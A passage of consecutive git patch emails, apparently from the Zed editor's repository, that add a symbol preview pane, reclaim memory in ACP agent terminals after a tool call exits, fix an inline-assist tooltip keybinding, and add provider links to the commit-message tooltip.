- Added a preview pane to the project symbols picker

---------

Co-authored-by: Yara <git@yara.blue>
---
 Cargo.lock                                    |  2 +-
 crates/picker/src/preview.rs                  | 19 +++++++
 crates/picker_preview/Cargo.toml              |  2 +-
 crates/picker_preview/src/picker_preview.rs   | 51 +++++++++++++++----
 crates/project_symbols/Cargo.toml             |  1 +
 crates/project_symbols/src/project_symbols.rs | 13 +++--
 6 files changed, 74 insertions(+), 14 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index e2fcdbf54f861f..432d250584ed7b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -13479,7 +13479,6 @@ dependencies = [
 name = "picker_preview"
 version = "0.1.0"
 dependencies = [
- "anyhow",
  "editor",
  "gpui",
  "language",
@@ -14129,6 +14128,7 @@ dependencies = [
  "lsp",
  "ordered-float 2.10.1",
  "picker",
+ "picker_preview",
  "project",
  "release_channel",
  "semver",
diff --git a/crates/picker/src/preview.rs b/crates/picker/src/preview.rs
index 88a9b6219db1b7..df3e9604f70c3b 100644
--- a/crates/picker/src/preview.rs
+++ b/crates/picker/src/preview.rs
@@ -4,6 +4,7 @@ use std::sync::Arc;
 
 use gpui::{AnyElement, App, Entity, IntoElement, Window};
 use language::{Anchor, Buffer, HighlightedText};
+use project::Symbol;
 
 /// The editor-agnostic interface a [`Picker`](crate::Picker) uses to drive its
 /// preview.
@@ -67,6 +68,13 @@ pub enum PreviewSource {
     /// Used by pickers (like the text picker) that already hold the matched
     /// buffer.
     Buffer(Entity<Buffer>),
+    /// The buffer is identified by a project symbol; the preview opens it and
+    /// highlights the symbol's range.
+    ///
+    /// Used by pickers (like the project symbols picker) that only know the
+    /// matched symbol. The highlight is derived from the symbol once its buffer
+    /// loads, so callers don't supply a [`MatchLocation`].
+    Symbol(Symbol),
     /// No buffer to show; display this message centered in the preview instead.
     ///
     /// Used by pickers that have a selection without a previewable buffer (like
@@ -117,4 +125,15 @@ impl Update {
             match_location: Some(highlight),
         }
     }
+
+    /// Preview the buffer for `symbol`, highlighting and scrolling to its range.
+    ///
+    /// The buffer is opened and the highlight derived by the preview once the
+    /// buffer loads.
+    pub fn from_symbol(symbol: Symbol) -> Self {
+        Self {
+            source: PreviewSource::Symbol(symbol),
+            match_location: None,
+        }
+    }
 }
diff --git a/crates/picker_preview/Cargo.toml b/crates/picker_preview/Cargo.toml
index 49417be543557f..12d7aec9cc3692 100644
--- a/crates/picker_preview/Cargo.toml
+++ b/crates/picker_preview/Cargo.toml
@@ -13,7 +13,7 @@ path = "src/picker_preview.rs"
 doctest = false
 
 [dependencies]
-anyhow.workspace = true
+
 editor.workspace = true
 gpui.workspace = true
 language.workspace = true
diff --git a/crates/picker_preview/src/picker_preview.rs b/crates/picker_preview/src/picker_preview.rs
index 50aff9d3ce764e..eb4e179171ce2e 100644
--- a/crates/picker_preview/src/picker_preview.rs
+++ b/crates/picker_preview/src/picker_preview.rs
@@ -4,16 +4,17 @@ use std::sync::Arc;
 
 use gpui::{
     Action, AnyElement, App, AppContext as _, Context, Entity, IntoElement, Pixels, StyledText,
-    Task, TaskExt as _, Window, px,
+    Task, Window, px,
 };
-use language::{Buffer, HighlightedText, HighlightedTextBuilder, ToPoint};
+use language::{Bias, Buffer, HighlightedText, HighlightedTextBuilder, ToPoint};
 use picker::{
     MatchLocation, PreviewBackend, PreviewLayout, PreviewSource, PreviewUpdate, ToMultiBuffer,
 };
-use project::Project;
+use project::{Project, Symbol};
 use rope::Point;
 use settings::Settings;
 use ui::{ActiveTheme, Color, div, prelude::*, v_flex};
+use util::ResultExt as _;
 use util::rel_path::RelPath;
 
 use editor::{Editor, EditorSettings, RowHighlightOptions, display_map::HighlightKey};
@@ -61,6 +62,8 @@ struct EditorPreview {
     /// When set show a text message instead of a preview
     message: Option<HighlightedText>,
     preview_editor: Entity<Editor>,
+    /// Store the load preview task so we have only one at the time
+    pending_update: Task<()>,
 }
 
 impl EditorPreview {
@@ -100,6 +103,7 @@ impl EditorPreview {
             preview_editor,
             current_path: None,
             message: None,
+            pending_update: Task::ready(()),
         };
         this.clear(); // picker starts with no results.
         this
@@ -125,6 +129,9 @@ impl EditorPreview {
                 self.update_from_buffer(buffer, highlight, window, cx);
                 cx.notify();
             }
+            PreviewSource::Symbol(symbol) => {
+                self.update_from_symbol(symbol, window, cx);
+            }
             PreviewSource::Message(message) => {
                 self.message = Some(message);
                 cx.notify();
@@ -152,15 +159,41 @@ impl EditorPreview {
             }
         });
 
-        cx.spawn_in(window, async move |this, cx| {
-            let buffer = open_task.await?;
+        self.pending_update = cx.spawn_in(window, async move |this, cx| {
+            let Some(buffer) = open_task.await.log_err() else {
+                return;
+            };
             this.update_in(cx, |this, window, cx| {
                 this.update_from_buffer(buffer, highlight, window, cx);
                 cx.notify();
-            })?;
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
+            })
+            .ok();
+        });
+    }
+
+    fn update_from_symbol(&mut self, symbol: Symbol, window: &mut Window, cx: &mut Context<Self>) {
+        let open_task = self.project.update(cx, |project, cx| {
+            project.open_buffer_for_symbol(&symbol, cx)
+        });
+
+        self.pending_update = cx.spawn_in(window, async move |this, cx| {
+            let Some(buffer) = open_task.await.log_err() else {
+                return;
+            };
+            this.update_in(cx, |this, window, cx| {
+                let snapshot = buffer.read(cx).text_snapshot();
+                let start = snapshot.clip_point_utf16(symbol.range.start, Bias::Left);
+                let end = snapshot.clip_point_utf16(symbol.range.end, Bias::Left);
+                let highlight = MatchLocation {
+                    anchor_range: snapshot.anchor_before(start)..snapshot.anchor_after(end),
+                    range: snapshot.point_utf16_to_offset(start)
+                        ..snapshot.point_utf16_to_offset(end),
+                };
+                this.update_from_buffer(buffer, Some(highlight), window, cx);
+                cx.notify();
+            })
+            .ok();
+        });
     }
 
     fn update_from_buffer(
diff --git a/crates/project_symbols/Cargo.toml b/crates/project_symbols/Cargo.toml
index da23116e83b465..62074471e14e84 100644
--- a/crates/project_symbols/Cargo.toml
+++ b/crates/project_symbols/Cargo.toml
@@ -19,6 +19,7 @@ fuzzy.workspace = true
 gpui.workspace = true
 ordered-float.workspace = true
 picker.workspace = true
+picker_preview.workspace = true
 project.workspace = true
 serde_json.workspace = true
 settings.workspace = true
diff --git a/crates/project_symbols/src/project_symbols.rs b/crates/project_symbols/src/project_symbols.rs
index 5e4422a6fb7e6f..533913a654a6d9 100644
--- a/crates/project_symbols/src/project_symbols.rs
+++ b/crates/project_symbols/src/project_symbols.rs
@@ -5,7 +5,7 @@ use gpui::{
     TextStyle, WeakEntity, Window, relative,
 };
 use ordered_float::OrderedFloat;
-use picker::{Picker, PickerDelegate};
+use picker::{Picker, PickerDelegate, PreviewUpdate};
 use project::{Project, Symbol, lsp_store::SymbolLocation};
 use settings::Settings;
 use std::{cmp::Reverse, sync::Arc};
@@ -25,8 +25,9 @@ pub fn init(cx: &mut App) {
                     let project = workspace.project().clone();
                     let handle = cx.entity().downgrade();
                     workspace.toggle_modal(window, cx, move |window, cx| {
-                        let delegate = ProjectSymbolsDelegate::new(handle, project);
-                        Picker::uniform_list(delegate, window, cx)
+                        let delegate = ProjectSymbolsDelegate::new(handle, project.clone());
+                        let preview = picker_preview::editor_preview(project, window, cx);
+                        Picker::uniform_list_with_preview(delegate, preview, window, cx)
                     })
                 },
             );
@@ -187,6 +188,12 @@ impl PickerDelegate for ProjectSymbolsDelegate {
         self.selected_match_index = ix;
     }
 
+    fn try_get_preview_data_for_match(&self, _cx: &App) -> Option<PreviewUpdate> {
+        let candidate_id = self.matches.get(self.selected_match_index)?.candidate_id;
+        let symbol = self.symbols.get(candidate_id)?.clone();
+        Some(PreviewUpdate::from_symbol(symbol))
+    }
+
     fn update_matches(
         &mut self,
         query: String,

From 7ed553b391393ee4e62782e710605778e2200a18 Mon Sep 17 00:00:00 2001
From: Maja Backman <maja@hbackman.com>
Date: Fri, 3 Jul 2026 07:41:48 -0400
Subject: [PATCH 240/772] acp_thread: Shrink ACP terminal scrollback to used on
 exit (#60019)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

ACP agents (Cursor, Claude Code, Codex, etc.) start a display-only
`terminal::Terminal` for each bash tool call. After the call exits, the
terminal stays alive so that its output stays visible. But the
`alacritty` `Grid` keeps a `Storage` cache that's never reclaimed.
Across a long session this memory adds up.

Partially fixes #57099

## Solution

Added `Terminal::shrink_to_used`, called from the `Exit` branch of
`on_terminal_provider_event`. This calls `Grid::truncate()` on the
alacritty grid, shrinking the `Storage` cache portion while leaving
user-visible scrollback.

## Testing

- `cargo nextest run -p terminal
shrink_to_used_preserves_user_visible_scrollback` passes — exercises the
path with >10K rows of scrollback.
- `./script/clippy` clean.
- Manually verified: ran a noisy bash tool call via an ACP agent,
observed exit, then scrolled back through the output, no regression.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Improved memory usage of ACP terminals after the tool call exits

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
---
 crates/acp_thread/src/acp_thread.rs | 83 ++++++++++++++++++++++++++++-
 crates/terminal/src/alacritty.rs    |  4 ++
 crates/terminal/src/terminal.rs     | 10 ++--
 3 files changed, 92 insertions(+), 5 deletions(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index bf5b97607bbc3c..2bbda6647af961 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -4637,7 +4637,8 @@ impl AcpThread {
                 }
 
                 if let Some(_status) = self.pending_terminal_exit.remove(&terminal_id) {
-                    entity.update(cx, |_term, cx| {
+                    entity.update(cx, |term, cx| {
+                        term.inner().update(cx, |inner, _| inner.shrink_to_used());
                         cx.notify();
                     });
                 }
@@ -4673,7 +4674,8 @@ impl AcpThread {
                 status,
             } => {
                 if let Some(entity) = self.terminals.get(&terminal_id) {
-                    entity.update(cx, |_term, cx| {
+                    entity.update(cx, |term, cx| {
+                        term.inner().update(cx, |inner, _| inner.shrink_to_used());
                         cx.notify();
                     });
                 } else {
@@ -5102,6 +5104,83 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_terminal_exit_preserves_visible_scrollback(cx: &mut gpui::TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let connection = Rc::new(FakeAgentConnection::new());
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(
+                    project,
+                    PathList::new(&[std::path::Path::new(path!("/test"))]),
+                    cx,
+                )
+            })
+            .await
+            .unwrap();
+
+        let terminal_id = acp::TerminalId::new(uuid::Uuid::new_v4().to_string());
+        let lower = cx.new(|cx| {
+            let builder = ::terminal::TerminalBuilder::new_display_only(
+                ::terminal::terminal_settings::CursorShape::default(),
+                ::terminal::terminal_settings::AlternateScroll::On,
+                None,
+                0,
+                cx.background_executor(),
+                PathStyle::local(),
+            );
+            builder.subscribe(cx)
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.on_terminal_provider_event(
+                TerminalProviderEvent::Created {
+                    terminal_id: terminal_id.clone(),
+                    label: "Buffered Test".to_string(),
+                    cwd: None,
+                    output_byte_limit: None,
+                    terminal: lower.clone(),
+                },
+                cx,
+            );
+        });
+
+        let mut output = String::new();
+        for line in 0..15_000 {
+            output.push_str(&format!("line {line}\n"));
+        }
+
+        thread.update(cx, |thread, cx| {
+            thread.on_terminal_provider_event(
+                TerminalProviderEvent::Output {
+                    terminal_id: terminal_id.clone(),
+                    data: output.into_bytes(),
+                },
+                cx,
+            );
+            thread.on_terminal_provider_event(
+                TerminalProviderEvent::Exit {
+                    terminal_id: terminal_id.clone(),
+                    status: acp::TerminalExitStatus::new().exit_code(0),
+                },
+                cx,
+            );
+        });
+
+        let content = thread.read_with(cx, |thread, cx| {
+            let term = thread.terminal(terminal_id.clone()).unwrap();
+            term.read_with(cx, |term, cx| term.inner().read(cx).get_content())
+        });
+
+        assert!(
+            content.contains("line 14999"),
+            "expected output to remain visible after terminal exit, got: {content}"
+        );
+    }
+
     #[gpui::test]
     async fn test_terminal_output_and_exit_buffered_before_created(cx: &mut gpui::TestAppContext) {
         init_test(cx);
diff --git a/crates/terminal/src/alacritty.rs b/crates/terminal/src/alacritty.rs
index 99b6eadf2fddd7..5766d8b8fded30 100644
--- a/crates/terminal/src/alacritty.rs
+++ b/crates/terminal/src/alacritty.rs
@@ -800,6 +800,10 @@ pub(super) fn clear_saved_screen(term: &mut Term<ZedListener>) {
     }
 }
 
+pub(super) fn shrink_to_used(term: &mut Term<ZedListener>) {
+    term.grid_mut().truncate();
+}
+
 pub(super) fn make_content(term: &Term<ZedListener>, last_content: &Content) -> Content {
     let content = term.renderable_content();
 
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index b3b6c7aff816b0..9fbfd575dedf4d 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -67,9 +67,9 @@ use crate::alacritty::{
     display_only_term_config, find_from_terminal_point, full_content_range, last_non_empty_lines,
     make_content, new_term, open_pty, pty_options, pty_term_config, resize, screen_lines,
     scroll_display, scroll_to_point, search_matches, selection_text, set_default_cursor_style,
-    set_selection as set_term_selection, spawn_event_loop, toggle_vi_mode as toggle_term_vi_mode,
-    total_lines, update_selection as update_term_selection, update_selection_to_vi_cursor,
-    update_vi_cursor_for_scroll, vi_goto_point, vi_motion,
+    set_selection as set_term_selection, shrink_to_used, spawn_event_loop,
+    toggle_vi_mode as toggle_term_vi_mode, total_lines, update_selection as update_term_selection,
+    update_selection_to_vi_cursor, update_vi_cursor_for_scroll, vi_goto_point, vi_motion,
 };
 use crate::mappings::colors::to_vte_rgb;
 use crate::mappings::keys::to_esc_str;
@@ -1888,6 +1888,10 @@ impl Terminal {
         self.events.push_back(InternalEvent::Clear)
     }
 
+    pub fn shrink_to_used(&mut self) {
+        shrink_to_used(&mut self.term.lock());
+    }
+
     pub fn scroll_line_up(&mut self) {
         self.events
             .push_back(InternalEvent::Scroll(Scroll::Delta(1)));

From be7e5b0338dbb49170913ba539c4e743d9d071f4 Mon Sep 17 00:00:00 2001
From: di404 <fuyingdi@126.com>
Date: Fri, 3 Jul 2026 21:48:03 +0800
Subject: [PATCH 241/772] terminal_view: Show terminal inline assist keybinding
 in tooltip (#55903)

## Summary

- Fixed the terminal inline assist tab bar tooltip so it resolves the
keybinding from the active terminal view.
- The bug happened when the initial terminal was closed and a new
terminal was opened: the tab bar button kept a cached focus handle for
the old terminal, so tooltip keybinding lookup could no longer find the
terminal key context.
- The button is now created while rendering the tab bar with the current
terminal view's focus handle, avoiding stale focus handles as terminals
are closed and recreated.

## Validation

- `cargo fmt --package terminal_view --check`
- `cargo check -p terminal_view --message-format short`

Release Notes:

- Fixed the terminal inline assist toolbar tooltip not showing its
keybinding after reopening terminals.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/terminal_view/src/terminal_panel.rs | 89 +++++++++++++++-------
 1 file changed, 61 insertions(+), 28 deletions(-)

diff --git a/crates/terminal_view/src/terminal_panel.rs b/crates/terminal_view/src/terminal_panel.rs
index 25e4ad9d999790..e1f31c3614cbb6 100644
--- a/crates/terminal_view/src/terminal_panel.rs
+++ b/crates/terminal_view/src/terminal_panel.rs
@@ -11,9 +11,9 @@ use collections::HashMap;
 use db::kvp::KeyValueStore;
 use futures::{channel::oneshot, future::join_all};
 use gpui::{
-    Action, Anchor, AnyView, App, AsyncApp, AsyncWindowContext, Context, Entity, EventEmitter,
-    FocusHandle, Focusable, IntoElement, ParentElement, Pixels, Render, Styled, Task, TaskExt,
-    WeakEntity, Window, actions,
+    Action, Anchor, App, AsyncApp, AsyncWindowContext, Context, Entity, EventEmitter, FocusHandle,
+    Focusable, IntoElement, ParentElement, Pixels, Render, Styled, Task, TaskExt, WeakEntity,
+    Window, actions,
 };
 use itertools::Itertools;
 use project::{Fs, Project};
@@ -83,7 +83,6 @@ pub struct TerminalPanel {
     pending_terminals_to_add: usize,
     deferred_tasks: HashMap<TaskId, Task<()>>,
     assistant_enabled: bool,
-    assistant_tab_bar_button: Option<AnyView>,
     active: bool,
 }
 
@@ -101,7 +100,6 @@ impl TerminalPanel {
             pending_terminals_to_add: 0,
             deferred_tasks: HashMap::default(),
             assistant_enabled: false,
-            assistant_tab_bar_button: None,
             active: false,
         };
         terminal_panel.apply_tab_bar_buttons(&terminal_panel.active_pane, cx);
@@ -110,20 +108,6 @@ impl TerminalPanel {
 
     pub fn set_assistant_enabled(&mut self, enabled: bool, cx: &mut Context<Self>) {
         self.assistant_enabled = enabled;
-        if enabled {
-            let focus_handle = self
-                .active_pane
-                .read(cx)
-                .active_item()
-                .map(|item| item.item_focus_handle(cx))
-                .unwrap_or(self.focus_handle(cx));
-            self.assistant_tab_bar_button = Some(
-                cx.new(move |_| InlineAssistTabBarButton { focus_handle })
-                    .into(),
-            );
-        } else {
-            self.assistant_tab_bar_button = None;
-        }
         for pane in self.center.panes() {
             self.apply_tab_bar_buttons(pane, cx);
         }
@@ -134,7 +118,7 @@ impl TerminalPanel {
         terminal_pane: &Entity<Pane>,
         cx: &mut Context<Self>,
     ) {
-        let assistant_tab_bar_button = self.assistant_tab_bar_button.clone();
+        let assistant_enabled = self.assistant_enabled;
         terminal_pane.update(cx, |pane, cx| {
             pane.set_render_tab_bar_buttons(cx, move |pane, window, cx| {
                 let split_context = pane
@@ -182,7 +166,11 @@ impl TerminalPanel {
                                 Some(menu)
                             }),
                     )
-                    .children(assistant_tab_bar_button.clone())
+                    .when(assistant_enabled, |this| {
+                        this.when_some(split_context.clone(), |this, focus_handle| {
+                            this.child(InlineAssistTabBarButton { focus_handle })
+                        })
+                    })
                     .child(
                         PopoverMenu::new("terminal-pane-tab-bar-split")
                             .trigger_with_tooltip(
@@ -1705,18 +1693,22 @@ impl workspace::TerminalProvider for TerminalProvider {
     }
 }
 
+#[derive(IntoElement)]
 struct InlineAssistTabBarButton {
     focus_handle: FocusHandle,
 }
 
-impl Render for InlineAssistTabBarButton {
-    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let focus_handle = self.focus_handle.clone();
+impl RenderOnce for InlineAssistTabBarButton {
+    fn render(self, _window: &mut Window, _cx: &mut App) -> impl IntoElement {
+        let focus_handle = self.focus_handle;
         IconButton::new("terminal_inline_assistant", IconName::ZedAssistant)
             .icon_size(IconSize::Small)
-            .on_click(cx.listener(|_, _, window, cx| {
-                window.dispatch_action(InlineAssist::default().boxed_clone(), cx);
-            }))
+            .on_click({
+                let focus_handle = focus_handle.clone();
+                move |_, window, cx| {
+                    focus_handle.dispatch_action(&InlineAssist::default(), window, cx);
+                }
+            })
             .tooltip(move |_window, cx| {
                 Tooltip::for_action_in("Inline Assist", &InlineAssist::default(), &focus_handle, cx)
             })
@@ -1728,7 +1720,7 @@ mod tests {
     use std::num::NonZero;
 
     use super::*;
-    use gpui::{TestAppContext, UpdateGlobal as _};
+    use gpui::{Modifiers, TestAppContext, UpdateGlobal as _, VisualTestContext};
     use pretty_assertions::assert_eq;
     use project::FakeFs;
     use settings::SettingsStore;
@@ -1920,6 +1912,47 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_inline_assist_tooltip_shows_keybinding_of_active_terminal(
+        cx: &mut TestAppContext,
+    ) {
+        cx.executor().allow_parking();
+        init_test(cx);
+
+        cx.update(|cx| {
+            cx.bind_keys([gpui::KeyBinding::new(
+                "ctrl-enter",
+                InlineAssist::default(),
+                Some("Terminal"),
+            )])
+        });
+
+        let (window_handle, terminal_panel) = init_workspace_with_panel(cx).await;
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        terminal_panel.update(cx, |panel, cx| panel.set_assistant_enabled(true, cx));
+        terminal_panel
+            .update_in(cx, |panel, window, cx| {
+                panel.add_terminal_shell(None, RevealStrategy::Always, window, cx)
+            })
+            .await
+            .unwrap();
+        cx.run_until_parked();
+
+        let button_bounds = cx
+            .debug_bounds("ICON-ZedAssistant")
+            .expect("inline assist button should be rendered in the terminal tab bar");
+        cx.simulate_mouse_move(button_bounds.center(), None, Modifiers::default());
+
+        cx.executor().advance_clock(Duration::from_millis(600));
+        cx.run_until_parked();
+
+        assert!(
+            cx.debug_bounds("KEY_BINDING-enter").is_some(),
+            "tooltip should show the InlineAssist keybinding resolved in the terminal's context"
+        );
+    }
+
     async fn init_workspace_with_panel(
         cx: &mut TestAppContext,
     ) -> (gpui::WindowHandle<MultiWorkspace>, Entity<TerminalPanel>) {

From 4da73e19700e2ea8bff391243e43777e807527ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mar=C3=ADa=20Craig?= <maria@zed.dev>
Date: Fri, 3 Jul 2026 11:56:37 -0300
Subject: [PATCH 242/772] git_ui: Add configure and docs links to commit
 message tooltip (#60357)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

When no LLM provider is configured, hovering the disabled "Generate
Commit Message" button in the git panel/commit modal previously showed a
plain, non-interactive tooltip with no way to act on it.

This tooltip now includes two links:
- **Configure Provider** — jumps directly to the "LLM Providers"
settings sub-page.
- **See Docs** — opens `https://zed.dev/docs/ai/llm-providers`.

Also adds `IconButton::hoverable_tooltip`, mirroring the existing
`.tooltip(...)` forwarding, since `IconButton` didn't previously expose
the underlying `ButtonLike::hoverable_tooltip` capability needed for
interactive tooltip content.

Release Notes:

- Improved the commit message tooltip to link directly to LLM provider
settings and documentation when no provider is configured.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 Cargo.lock                                    |   1 +
 crates/client/src/zed_urls.rs                 |   4 +
 crates/git_ui/Cargo.toml                      |   9 +-
 crates/git_ui/src/git_panel.rs                | 106 +++++++++++++-----
 .../ui/src/components/button/icon_button.rs   |  11 ++
 5 files changed, 100 insertions(+), 31 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 432d250584ed7b..480b91504c3456 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -7368,6 +7368,7 @@ dependencies = [
  "async-channel 2.5.0",
  "buffer_diff",
  "call",
+ "client",
  "collections",
  "component",
  "ctor",
diff --git a/crates/client/src/zed_urls.rs b/crates/client/src/zed_urls.rs
index 0473ff3932aa56..6eb69b83273fbf 100644
--- a/crates/client/src/zed_urls.rs
+++ b/crates/client/src/zed_urls.rs
@@ -69,6 +69,10 @@ pub fn skills_docs(cx: &App) -> String {
     format!("{docs_url}/ai/skills", docs_url = docs_url(cx))
 }
 
+pub fn llm_provider_docs(cx: &App) -> String {
+    format!("{docs_url}/ai/llm-providers", docs_url = docs_url(cx))
+}
+
 /// Returns the URL to Zed's ACP registry blog post.
 pub fn acp_registry_blog(cx: &App) -> String {
     format!(
diff --git a/crates/git_ui/Cargo.toml b/crates/git_ui/Cargo.toml
index 4b6fc85041b346..f46146ef8c35ba 100644
--- a/crates/git_ui/Cargo.toml
+++ b/crates/git_ui/Cargo.toml
@@ -23,14 +23,15 @@ askpass.workspace = true
 async-channel.workspace = true
 buffer_diff.workspace = true
 call = { workspace = true, optional = true }
+client.workspace = true
 collections.workspace = true
 component.workspace = true
 db.workspace = true
 editor.workspace = true
 file_icons.workspace = true
 fs.workspace = true
-futures.workspace = true
 futures-lite.workspace = true
+futures.workspace = true
 fuzzy.workspace = true
 fuzzy_nucleo.workspace = true
 git.workspace = true
@@ -50,8 +51,8 @@ prompt_store.workspace = true
 proto.workspace = true
 rand.workspace = true
 release_channel.workspace = true
-remote_connection.workspace = true
 remote.workspace = true
+remote_connection.workspace = true
 schemars.workspace = true
 search.workspace = true
 serde.workspace = true
@@ -67,6 +68,7 @@ theme.workspace = true
 theme_settings.workspace = true
 time.workspace = true
 time_format.workspace = true
+tracing.workspace = true
 ui.workspace = true
 ui_input.workspace = true
 util.workspace = true
@@ -75,7 +77,6 @@ workspace.workspace = true
 zed_actions.workspace = true
 zeroize.workspace = true
 ztracing.workspace = true
-tracing.workspace = true
 
 [target.'cfg(windows)'.dependencies]
 windows.workspace = true
@@ -91,12 +92,12 @@ indoc.workspace = true
 pretty_assertions.workspace = true
 project = { workspace = true, features = ["test-support"] }
 rand.workspace = true
+remote_connection = { workspace = true, features = ["test-support"] }
 settings = { workspace = true, features = ["test-support"] }
 task.workspace = true
 unindent.workspace = true
 workspace = { workspace = true, features = ["test-support"] }
 zlog.workspace = true
-remote_connection = { workspace = true, features = ["test-support"] }
 
 [package.metadata.cargo-machete]
 ignored = ["tracing"]
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 0ace54e100e5d3..445b991a132679 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -13,6 +13,7 @@ use crate::{
 use agent_settings::{AgentSettings, UserAgentsMd};
 use anyhow::Context as _;
 use askpass::AskPassDelegate;
+use client::zed_urls;
 use collections::{BTreeMap, HashMap, HashSet};
 use db::kvp::KeyValueStore;
 use editor::{Editor, EditorElement, EditorMode, MultiBuffer, MultiBufferOffset, SizingBehavior};
@@ -4774,34 +4775,38 @@ impl GitPanel {
 
         let editor_focus_handle = self.commit_editor.focus_handle(cx);
 
-        Some(
-            IconButton::new("generate-commit-message", IconName::AiEdit)
-                .shape(ui::IconButtonShape::Square)
-                .icon_color(if has_commit_model_configuration_error {
-                    Color::Disabled
+        let button = IconButton::new("generate-commit-message", IconName::AiEdit)
+            .shape(ui::IconButtonShape::Square)
+            .icon_color(if has_commit_model_configuration_error {
+                Color::Disabled
+            } else {
+                Color::Muted
+            })
+            .disabled(!can_commit || has_commit_model_configuration_error)
+            .on_click(cx.listener(move |this, _event, _window, cx| {
+                this.generate_commit_message(cx);
+            }));
+
+        let button = if can_commit && has_commit_model_configuration_error {
+            button.hoverable_tooltip(move |_window, cx| {
+                cx.new(|_| GenerateCommitMessageConfigurationTooltip).into()
+            })
+        } else {
+            button.tooltip(move |_window, cx| {
+                if !can_commit {
+                    Tooltip::simple("No Changes to Commit", cx)
                 } else {
-                    Color::Muted
-                })
-                .tooltip(move |_window, cx| {
-                    if !can_commit {
-                        Tooltip::simple("No Changes to Commit", cx)
-                    } else if has_commit_model_configuration_error {
-                        Tooltip::simple("Configure an LLM provider to generate commit messages", cx)
-                    } else {
-                        Tooltip::for_action_in(
-                            "Generate Commit Message",
-                            &git::GenerateCommitMessage,
-                            &editor_focus_handle,
-                            cx,
-                        )
-                    }
-                })
-                .disabled(!can_commit || has_commit_model_configuration_error)
-                .on_click(cx.listener(move |this, _event, _window, cx| {
-                    this.generate_commit_message(cx);
-                }))
-                .into_any_element(),
-        )
+                    Tooltip::for_action_in(
+                        "Generate Commit Message",
+                        &git::GenerateCommitMessage,
+                        &editor_focus_handle,
+                        cx,
+                    )
+                }
+            })
+        };
+
+        Some(button.into_any_element())
     }
 
     pub(crate) fn render_co_authors(&self, cx: &Context<Self>) -> Option<AnyElement> {
@@ -7157,6 +7162,53 @@ impl GitPanel {
     }
 }
 
+struct GenerateCommitMessageConfigurationTooltip;
+
+impl Render for GenerateCommitMessageConfigurationTooltip {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        ui::tooltip_container(cx, |container, _cx| {
+            container
+                .gap_1p5()
+                .child(Label::new(
+                    "Configure an LLM provider to generate commit messages.",
+                ))
+                .child(
+                    h_flex()
+                        .gap_1()
+                        .child(
+                            Button::new("configure-commit-message-provider", "Configure Provider")
+                                .style(ButtonStyle::Filled)
+                                .layer(ElevationIndex::ModalSurface)
+                                .label_size(LabelSize::Small)
+                                .on_click(|_, window, cx| {
+                                    window.dispatch_action(
+                                        zed_actions::OpenSettingsAt {
+                                            path: "llm_providers".to_string(),
+                                            target: None,
+                                        }
+                                        .boxed_clone(),
+                                        cx,
+                                    );
+                                }),
+                        )
+                        .child(
+                            Button::new("llm-provider-docs", "See Docs")
+                                .style(ButtonStyle::OutlinedGhost)
+                                .end_icon(
+                                    Icon::new(IconName::ArrowUpRight)
+                                        .color(Color::Muted)
+                                        .size(IconSize::Small),
+                                )
+                                .label_size(LabelSize::Small)
+                                .on_click(move |_, _, cx| {
+                                    cx.open_url(&zed_urls::llm_provider_docs(cx))
+                                }),
+                        ),
+                )
+        })
+    }
+}
+
 impl GitPanel {
     pub fn selected_file_history_target(&self) -> Option<(Entity<Repository>, RepoPath)> {
         let entry = self.get_selected_entry()?.status_entry()?;
diff --git a/crates/ui/src/components/button/icon_button.rs b/crates/ui/src/components/button/icon_button.rs
index a05a538b4a7dc9..2da97d4bc568cc 100644
--- a/crates/ui/src/components/button/icon_button.rs
+++ b/crates/ui/src/components/button/icon_button.rs
@@ -124,6 +124,17 @@ impl IconButton {
 
         self
     }
+
+    /// Use the given callback to construct a new tooltip view when the mouse hovers over this
+    /// button. The tooltip itself is also hoverable and won't disappear when the user moves the
+    /// mouse into the tooltip, allowing it to contain interactive elements like links or buttons.
+    pub fn hoverable_tooltip(
+        mut self,
+        tooltip: impl Fn(&mut Window, &mut App) -> AnyView + 'static,
+    ) -> Self {
+        self.base = self.base.hoverable_tooltip(tooltip);
+        self
+    }
 }
 
 impl Disableable for IconButton {

From b497e2024aebe0adeefde670f6f3e1ef9c4257a7 Mon Sep 17 00:00:00 2001
